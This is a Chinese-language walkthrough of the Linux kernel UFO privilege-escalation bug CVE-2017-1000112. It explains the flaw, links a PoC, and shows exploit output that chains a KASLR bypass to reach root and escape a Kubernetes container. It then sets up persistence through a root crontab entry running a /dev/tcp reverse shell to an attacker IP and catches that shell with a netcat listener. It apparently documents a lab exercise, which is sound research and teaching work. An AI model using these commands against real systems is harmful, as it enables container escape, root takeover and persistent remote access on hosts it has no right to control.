描述 由于 UFO 到非 UFO 路径切换导致的可利用内存损坏。使用 MSG_MORE __ip_append_data() 构建 UFO 数据包时,会调用 ip_ufo_append_data() 进行追加。然而,在两次 send() 调用之间,追加路径可以从 UFO 切换到非 UFO 路径,这会导致内存损坏。
针对 UFO Linux 内核实现 CVE-2017-1000112 中漏洞的概念验证本地根利用。
什么是UFO
UFO(UDP Fragment Offload)是硬件网卡提供的一种特性,由内核和驱动配合完成相关功能。其目的是由网卡硬件来完成本来需要软件进行的分段(分片)操作用于提升效率和性能。减少Linux 内核传输层和网络层的计算工作,将这些计算工作offload(卸载)到物理网卡。UDP协议层本身不对大的数据报进行分片,而是交给IP层去做。因此,UFO就是将IP分片offload到网卡中进行。
如大家所知,在网络上传输的数据包不能大于mtu,当用户发送大于mtu的数据报文时,通常会在传输层(或者在特殊情况下在IP层分片,比如ip转发或ipsec时)就会按mtu大小进行分段,防止发送出去的报文大于mtu,为提升该操作的性能,新的网卡硬件基本都实现了UFO功能,可以使分段(或分片)操作在网卡硬件完成,此时用户态就可以发送长度大于mtu的包,而且不必在协议栈中进行分段(或分片)。
这就意味着当开启UFO时,可以支持发送超过MTU大小的数据报。
ip_ufo_append_data函数大致原理为:当硬件支持且打开了UFO、udp包大小大于mtu会进入此流程,将用户态数据拷贝拷skb中的非线性区中(即skb_shared_info->frags[],原本用于SG)。
主要流程为:从sock发送队列中取skb,如果发送队列为空,则新分配一个skb;如果不为空,则直接使用该skb;然后,判断per task的page_frag中是否有空间可用,有的话,就直接从用户态拷贝数据到该page_frag中,如果没有空间,则分配新的page,放入page_frag中,然后再从用户态拷贝数据到其中,最后将该page_frag中的page链入skb的非线性区中(即skb_shared_info->frags[]).
影响范围 影响linux kernel 4.12.3之前的版本,在4.14的版本将移除UFO机制。
漏洞利用 poc下载
poc:https://github.com/Metarget/metarget/blob/master/writeups_cnv/kernel-cve-2017-1000112/poc.c
编译
1 2 3 4 root@wuala:/home root@wuala:/home root@wuala:/home exp poc.c wulala
查看环境
1 2 3 4 5 6 root@ubuntu-68d495dd49-fcswz:/home Linux ubuntu-68d495dd49-fcswz 4.8.0-34-generic root@ubuntu-68d495dd49-fcswz:/home 4.8.0-34-generic root@ubuntu-68d495dd49-fcswz:/home Ubuntu 20.04.3 LTS \n \l
执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 root@ubuntu-68d495dd49-fcswz:/home [^] starting [=] running KASLR defeat exploit (CVE-2017-18344) [0] enumerating divide_error() location (CVE-2017-18344) [>] setting up proc reader [+] done [>] checking /proc/cpuinfo [+] looks good [>] setting up timer [+] done [>] finding leak pointer address [+] done : 0000000201232860 [>] mapping leak pointer page [+] done [+] divide_error is at: ffffffff82097200 [1] checking distro and kernel versions [.] kernel version '4.8.0-34-generic' detected [+] done , versions looks good [2] checking SMEP and SMAP [+] done , looks good [=] running privilege escalation exploit (CVE-2017-1000112) [3] setting up namespace sandbox [+] done , namespace sandbox set up [~] commit_creds: ffffffff818a5d50 [~] prepare_kernel_cred: ffffffff818a6140 [4] SMEP bypass enabled, mmapping fake stack [+] done , fake stack mmapped [5] executing payload ffffffff81817d15 [+] done , should be root now [6] checking if we got root [+] got r00t ^_^
执行后,网卡没有ip地址,无法网络通讯,通过ps 可以确认确实逃逸成功。后续利用可以写ssh key或定时计划
利用前ifconfig & ps
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 root@ubuntu-68d495dd49-fcswz:/home USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 4112 3376 pts/0 Ss+ 07:39 0:00 bash root 26 0.0 0.0 4240 3588 pts/1 Ss 07:43 0:00 /bin/bash root 318 0.0 0.0 5900 2908 pts/1 R+ 07:48 0:00 ps aux root@ubuntu-68d495dd49-fcswz:/home eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1450 inet 10.244.0.8 netmask 255.255.255.0 broadcast 0.0.0.0 ether 8e:c1:f5:30:6c:1d txqueuelen 0 (Ethernet) RX packets 6484 bytes 20715710 (20.7 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 6479 bytes 451059 (451.0 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 loop txqueuelen 1 (Local Loopback) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
利用后ifconfig & ps
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 root@ubuntu-68d495dd49-fcswz:/ USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 8291 0.0 0.0 7652 4368 ? Sl 07:21 0:00 docker-containerd-shim -namespace moby -workdir /var/li root 8309 0.9 1.1 210244 94068 ? Ssl 07:21 0:16 kube-controller-manager --allocate-node-cidrs=true --au root 8529 0.0 0.0 7652 4416 ? Sl 07:22 0:00 docker-containerd-shim -namespace moby -workdir /var/li root 8545 0.0 0.0 1024 4 ? Ss 07:22 0:00 /pause root 8573 0.0 0.0 7652 4424 ? Sl 07:22 0:00 docker-containerd-shim -namespace moby -workdir /var/li root 8589 0.0 0.0 1024 4 ? Ss 07:22 0:00 /pause root 8689 0.0 0.0 7716 4432 ? Sl 07:22 0:00 docker-containerd-shim -namespace moby -workdir /var/li root 8723 0.0 0.4 139624 35492 ? Ssl 07:22 0:00 /usr/local /bin/kube-proxy --config=/var/lib/kube-proxy/ root 8809 0.0 0.0 7652 4516 ? Sl 07:22 0:00 docker-containerd-shim -namespace moby -workdir /var/li root 8825 0.0 0.5 1339640 41928 ? Ssl 07:22 0:00 /opt/bin/flanneld --ip-masq --kube-subnet-mgr root 8946 0.0 0.0 7652 3884 ? Sl 07:22 0:00 docker-containerd-shim -namespace moby -workdir /var/li root 8963 0.0 0.0 1024 4 ? Ss 07:22 0:00 /pause root 9038 0.0 0.0 7652 4492 ? Sl 07:22 0:00 docker-containerd-shim -namespace moby -workdir /var/li root 9053 0.1 0.4 146036 35752 ? Ssl 07:22 0:02 /coredns -conf /etc/coredns/Corefile root 9113 0.0 0.0 7652 4304 ? Sl 07:22 0:00 docker-containerd-shim -namespace moby -workdir /var/li root 9128 0.0 0.0 1024 4 ? Ss 07:22 0:00 /pause root 9198 0.0 0.0 7652 4436 ? Sl 07:22 0:00 docker-containerd-shim -namespace moby -workdir /var/li root 9216 0.1 0.4 146036 37948 ? Ssl 07:22 0:03 /coredns -conf /etc/coredns/Corefile root 10693 0.0 0.0 0 0 ? S 07:26 0:00 [kworker/1:3] root 11304 0.0 0.0 0 0 ? S 07:27 0:00 [kworker/u4:0] root 15132 0.0 0.0 0 0 ? S 07:38 0:00 [kworker/1:2] root 15570 0.0 0.0 7716 3756 ? Sl 07:39 0:00 docker-containerd-shim -namespace moby -workdir /var/li root 15586 0.0 0.0 1024 4 ? Ss 07:39 0:00 /pause root 15641 0.0 0.0 0 0 ? S 07:39 0:00 [kworker/0:3] root 15779 0.0 0.0 9060 4540 ? Sl 07:39 0:00 docker-containerd-shim -namespace moby -workdir /var/li root 15795 0.0 0.0 4112 3376 pts/0 Ss+ 07:39 0:00 bash root 16711 0.0 0.0 0 0 ? S 07:42 0:00 [kworker/u4:1] root 17015 0.0 0.5 145080 41804 pts/0 Sl+ 07:43 0:00 kubectl exec -it pod/ubuntu-68d495dd49-fcswz /bin/bash root 17032 0.0 0.0 4240 3588 pts/1 Ss 07:43 0:00 /bin/bash root 17724 0.0 0.0 105704 7056 ? Ss 07:45 0:00 sshd: root@pts/1 root 17790 0.0 0.0 21368 5000 pts/1 Ss+ 07:45 0:00 -bash root 18571 0.0 0.0 0 0 ? S 07:48 0:00 [kworker/u4:2] root 18645 0.0 0.0 18516 3336 pts/1 S 07:49 0:00 /bin/bash -i root 18659 0.0 0.0 36708 3176 pts/1 R+ 07:49 0:00 ps aux root@ubuntu-68d495dd49-fcswz:/ lo: flags=73<UP,LOOPBACK,RUNNING> mtu 1500 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1 (Local Loopback) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 root@ubuntu-68d495dd49-fcswz:/
定时计划反弹shell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 root@ubuntu-68d495dd49-fcswz:/var/spool/cron/crontabs */1 * * * * /bin/bash /shell.sh root@ubuntu-68d495dd49-fcswz:/var/spool/cron/crontabs root@ubuntu-68d495dd49-fcswz:/var/spool/cron/crontabs sh -i >& /dev/tcp/10.0.4.68/4444 0>&1 root@ubuntu-68d495dd49-fcswz:/var/spool/cron/crontabs 攻击机器 ╭─wulala@wulaladeMacBook-Pro ~/tools/cloud_ex/cve-poc ‹master*› ╰─$ nc -l 4444 sh: 0: can't access tty; job control turned off # ip addr 2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether 00:0c:29:b0:82:1b brd ff:ff:ff:ff:ff:ff inet 192.168.100.123/24 brd 192.168.100.255 scope global ens160 valid_lft forever preferred_lft forever inet6 fe80::20c:29ff:feb0:821b/64 scope link valid_lft forever preferred_lft forever # whoami root #
修复方式 影响linux kernel 4.12.3之前的版本,在4.14的版本将移除UFO机制。升级到4.12.3以上版本